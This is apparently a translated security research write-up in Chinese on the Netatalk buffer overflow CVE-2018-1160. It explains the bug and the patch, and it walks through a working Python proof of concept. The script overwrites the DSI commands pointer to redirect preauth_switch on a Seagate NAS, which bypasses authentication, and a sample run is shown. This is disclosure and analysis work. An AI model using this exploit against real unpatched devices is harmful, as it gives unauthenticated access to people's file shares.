导语:最近,我发现并报告了一个Netatalk缓冲区溢出漏洞(CVE-2018-1160),这个漏洞允许远程未经身份验证的攻击者覆盖某些结构​数据。利用该漏洞,我成功绕过身份验证,并获得对AFP卷的完全控制。本文将主要分析我们是如何发现并利用这个漏洞

概述

最近,我发现并报告了一个Netatalk缓冲区溢出漏洞(CVE-2018-1160),这个漏洞非常古老,允许远程未经身份验证的攻击者覆盖某些结构数据。利用该漏洞,我成功绕过身份验证,并获得对AFP卷的完全控制。本文将主要分析我们是如何发现并利用这个漏洞的。

漏洞利用视频:https://youtu.be/SCGzlz4DJLg

关于Netatalk

Netatalk是苹果归档协议(Apple Filing Protocol,AFP)的一种实现。该项目自身非常古老,在Sourceforge的第一次导入最早可以追溯到2000年,但该项目的实际年龄比这还要更长。从main.c中,我们可以看到相应的注释:

/*
 * Copyright © 1990,1993 Regents of The University of Michigan.
 * All Rights Reserved. See COPYRIGHT.
 */

如今,Netatalk已经不再像以前那样受欢迎,其他的一些网络文件共享协议已经超过了AFP(例如SMB)。但是,我们仍然看到Netatalk在Sourceforge中具有非常多的下载量,它在许多Linux发行版本的官方存储库中都有一个软件包。我也在很多路由器和NAS上都发现了Netatalk,因此该协议仍然存在于我们周围。

我想说的是,假如Shodan可以搜索AFP,你一定会发现十亿台Netatalk服务器,但实际上Shodan没有这个功能。不过,请大家相信我,真的有这么多用户。

漏洞概述

自从2000年最初引入Sourceforge以来,Netatalk的漏洞一直就没有引起充分的重视。

这个错误其实非常简单,以下是Netatalk 3.1.11版本中的代码:

/* parse options */
while (i < dsi->cmdlen) {
  switch (dsi->commands[i++]) {
  case DSIOPT_ATTNQUANT:
    memcpy(&dsi->attn_quantum, dsi->commands + i + 1,
            dsi->commands[i]);
    dsi->attn_quantum = ntohl(dsi->attn_quantum);
 
case DSIOPT_SERVQUANT: /* just ignore these */
  default:
    i += dsi->commands[i] + 1; /*forward past length tag + length */
    break;
  }
}

大家可能看得还不是很明显。那么我来强调一个前提,如果说dsi->attn_quantum这个4字节整数和dsi->commands是由攻击者控制的,那么大家应该就一目了然了。

接下来,我们分析memcpy。攻击者控制的两个参数负责将数据复制到整型变量中。攻击者控制源(dsi->commands + i + 1)和大小(dsi->commands[i])。由于dsi->commands是char数组,因此size参数的最大值限制为255。

在开始寻找“AAAAAAAAAAAAAAAAAAAAAAAA”之前,我们首先检查实际上可以覆盖的内容。以下代码来自include/libatalk/dsi.h:

#define DSI_DATASIZ       65536
 
/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;        
 
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */
 
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
...

由于数据阵列中存在大量“黑洞”,因此我们只能覆盖datasize、server_quantum、serverID、clientID、命令指针以及部分数据。

污点分析

人们总是想要知道我是如何发现这个漏洞的。他们总是想听到“污点分析”(Taint Analysis)这个词。当他们听到“中间语言”时,可能会叹气。人们希望能看到种子语料库,并希望能听到前沿研究的内容。

我在从奥斯汀飞往费城的3个小时航班上发现了这个漏洞。当时,我刚开完一个会议,准备飞回家,路途上网络不是太好,我没有什么可以做的。因此,我在笔记本电脑上安装了Netatalk源,尝试绕过NAS项目。一开始,我从阅读main源代码起步。

PoC

该漏洞具有一个独特的特点,其中一个被覆盖的变量server_quantum会被反射到攻击者那里。经过分析,下面代码将向服务器发送一个格式正确的DSI Open Session请求。

import socket
import struct
import sys
 
if len(sys.argv) != 3:
    sys.exit(0)
 
ip = sys.argv[1]
port = int(sys.argv[2])
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
 
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x04" # length
dsi_opensession += "\x00\x00\x40\x00" # client quantum
 
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
 
sock.sendall(dsi_header)
 
try:
    resp = sock.recv(1024)
    print "[+] Fin."
except:
    print "[-] No response!"

服务器响应中,包含最初在配置文件中定义的“quantum”值。在WireShark抓取的数据包中,我们可以看到“quantum”值为0x100000或1048576。

1.png

我们只需要覆盖那个值。通过更新dsi_opensession Payload,可以提供超出整数范围的写入长度(0x0c)。

dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x0c" # length (/)o,,o(/)
dsi_opensession += "\x00\x00\x40\x00" # client quantum
dsi_opensession += '\x00\x00\x00\x00' # overwrites datasize
dsi_opensession += struct.pack("I", 0xdeadbeef) # overwrites server_quantum

现在,响应中将显示0xdeadbeef,这是服务器的“quantum”值。

2.png

命令指针的生命周期

我们想要执行控制,就必须找到一个突破点。在可以覆盖的五个变量中,只有命令似乎可行。

再将新连接分叉到自己的进程后不久,命令指针的生命周期就开始了。在初始化dsi结构时,会分配一系列堆内存,并将其分配给命令。在Netatalk的AFP函数处理之前,每个传入的AFP消息都会写入命令指针。直到连接结束后、进程退出前,命令存储器才会被释放。

命令将根据在etc/afpd/switch.c中定义的名为afp_switch的全局跳转表指针(Global Jump Table Pointer)传递到系统。afp_switch指向包含255个条目的跳转表。其中的每个条目,都是NULL(未实现),或者是在命令中处理AFP数据的函数。

afp_switch指向跳转表的两个版本之一。其中,第一个跳转表是preauth_switch,它只包含未经身份验证的用户可以调用的四个函数,这是默认的afp_switch表。第二个跳转表是postauth_switch,在用户进行身份验证后,它会被交换到afp_switch。

以下是从etc/afpd/afp_dsi.c调用跳转表函数的简化后逻辑:

function = (u_char) dsi->commands[0];
 
if (afp_switch[function]) {
    err = (*afp_switch[function])(obj,
            (char *)dsi->commands, dsi->cmdlen,
            (char *)&dsi->data, &dsi->datalen);
} else {
    LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
    dsi->datalen = 0;
    err = AFPERR_NOOP;
}

阶段小结

在我看来,目前我们就已经有了一个“可以在任意地方写入任意东西”的漏洞。后续的工作应该非常容易。只需按照以下四个简单的步骤进行:

1、用我们选择的地址覆盖命令指针;

2、使用AFP数据包写入该地址;

3、挥手;

4、执行控制。

接下来的问题就是,我们写入到什么地址上?这确实是一个困难的问题,我们可能无法回答这一问题。例如,在Ubuntu上,默认情况下启用了ASLR,官方Netatalk软件包已经编译为与位置无关。我们预先不清楚任何地址。在这种情况下,我们就无法继续前进。

但是,就算关上了门,总还是有窗。映入我们眼前的,是嵌入式系统。

在本文的后续部分,我将专注于特定的希捷(Seagate)NAS。在这里,并不是说所有NAS都是不安全的。希捷只是出现了一点熟路:他们没有将Netatalk编译为与位置无关的可执行文件。这就是我们所需要的一切。

选准目标:preauth_switch

接下来,我们选择使用preauth_switch地址来覆盖命令指针,原因如下:

1、preauth_switch是一个大多为空的函数表。

2、客户端通过AFP数据包来决定调用哪个preauth_switch函数。

3、客户端不需要进行身份验证,即可调用preauth_switch函数。

我们遇到的第一个挑战,是找到preauth_switch地址。与postauth_switch不同,preauth_switch只有本地链接。这意味着,如果二进制文件被移除,那么preauth_switch符号将会从符号表中被删除。以下是两个例子:

[email protected]:~$ readelf -s afpd.netgear | grep "auth_switch"
   493: 00083d5c  1024 OBJECT  GLOBAL DEFAULT   22 postauth_switch
   176: 000166e8   596 FUNC    LOCAL  DEFAULT   11 set_auth_switch
   798: 0008395c  1024 OBJECT  LOCAL  DEFAULT   22 preauth_switch
  2572: 00083d5c  1024 OBJECT  GLOBAL DEFAULT   22 postauth_switch
[email protected]:~$ readelf -s afpd.seagate | grep "auth_switch"
   313: 000000000063ae40  2048 OBJECT  GLOBAL DEFAULT   24 postauth_switch
[email protected]:~$

在我从Netgear设备中提取的二进制文件中,大家可以看到我们轻松提取到了preauth_switch地址(0x8395c)。但是,希捷的二进制文件被剥离了,因此我们需要更深入的查看。在这里,打开我们最喜欢的反汇编工具,然后找到afp_switch。

3.png

我们现在可以看到,preauth_switch从0x63b660开始。

深入研究preauth_switch

我们在preauth_switch中写了什么?怎么处理一个需要身份验证的函数?接下来,我们将要尝试如何控制执行流程并验证身份验证。一个不错的目标是afp_getsrvrinfo。afp_getsrvinfo就像DSI GetStatus一样,除了会经过身份验证的AFP。

4.png

我们可以在postauth_switch的第16个条目中,找到afp_getsrvinfo。

5.png

要执行此计划,我们需要更新脚本,从而使用preauth_switch地址(0x63b600)覆盖命令指针。

dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrite quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrite ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
 
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload

在同一连接之后的每个后续AFP请求将被写入0x63b660。因此,我们只需要确定要将afp_getsrvrinfo的地址写入哪个表索引。我们知道,AFP消息的第一个字节是命令,该命令用于执行表查找。

6.png

我们无法将afp_getsrvrinfo地址写入表索引0,因为索引被命令字节部分耗尽。但是,从表中第8个字节开始的索引1是可以使用的。如果我们将afp_getsrvrinfo地址写入索引1中,那么就能够通过将AFP请求命令字节设置为1的方法来调用它。

但是,我们目前还不太清楚afp_getsrvrinfo的地址,接下来要解决这一问题。

[email protected]:~$ readelf -a afpd.seagate | grep getsrvrinfo
   241: 00000000004295f0    55 FUNC    GLOBAL DEFAULT   13 afp_getsrvrinfo

最终,我们构造了会调用afp_getsvrinfo的AFP消息。dsi_header部分看起来几乎和之前一样,除了我们需要更新第二个字节,以指示Payload是AFP命令。此外,我们需要增加请求ID。afp_command从1开始,然后进行填充,直到我们可以在表的第二个条目中写入afp_getsvrinfo的地址。

afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
 
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command

整个脚本最终的代码如下:

import socket
import struct
import sys
 
if len(sys.argv) != 3:
    sys.exit(0)
 
ip = sys.argv[1]
port = int(sys.argv[2])
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
 
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
 
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
 
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
 
sock.sendall(dsi_header)
resp = sock.recv(1024)
print "[+] Open Session complete"
 
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
 
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
 
print "[+] Sending get server info request"
sock.sendall(dsi_header)
resp = sock.recv(1024)
print resp
print "[+] Fin."

接下来,我们要做的就是测试。

[email protected]:~$ python afp_srvrinfo.py 192.168.88.252 548
[+] Attempting connection to 192.168.88.252:548
[+] Open Session complete
[+] Sending get server info request
�,W��]
Netatalk3.1.8AFP2.2AFPX03AFP3.1AFP3.2AFP3.3AFP3.4No User AuthentDHX2  DHCAST128Cleartxt Passwrd�������@��@[email protected]@Ѐ���r�"�@[email protected]@[email protected][email protected]�]t>��� @���@�@��?������������������������������������������������������������?���������@��?�����4���b8�eQ�x����5
                                                                                                              Seagate-DP2
[+] Fin.

成功了!

什么?你说无法呈现UTF-8字符这一点看起来不太成功?但其实你错了,这就是成功后的样子。这正是我们期望afp_getsvrinfo命令实现的。我们刚刚没有实现解析过程。

请注意,在下面的截图中,可以看到Wireshark认为我们正在执行afp_bytelock函数(postauth_switch表的条目1)。Wireshark也无法解析Payload,因为Payload并不是来自afp_bytelock。

8.png

要想完全实现漏洞利用,所要进行的工作比这更加复杂。我们需要为参数传递预留出空间,并实现AFP消息解析。但这一切都非常乏味。大家都知道,写代码并不好玩,但如果各位读者有兴趣,可以在我们的GitHub上找到完整的漏洞。

漏洞修复与补丁分析

Netatalk的开发人员发布了一个更大的补丁来修复这一漏洞。其中最主要的部分将在下面重点体现。实际上,要修复这一漏洞,只需要进行一次简单的长度检查即可。

case DSIOPT_ATTNQUANT:
-      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
+      if (option_len != sizeof(dsi->attn_quantum)) {
+        LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
+            cmd, option_len);
+        exit(EXITERR_CLNT);
+      }
+      memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);

我之前提到过,这个memcpy漏洞似乎在Netatalk引入Sourceforge就已经存在了。但是,我试图在Netgear路由器上针对2.2.5版本(2013年发布)进行漏洞利用,但以失败告终。事实证明,DSI的结构在Netatalk 3.0.1(2012年发布)中有所调整,但没有向后移植到2.x版本中。这一调整允许我们覆盖命令指针。

9.png

源链接

Hacking more

...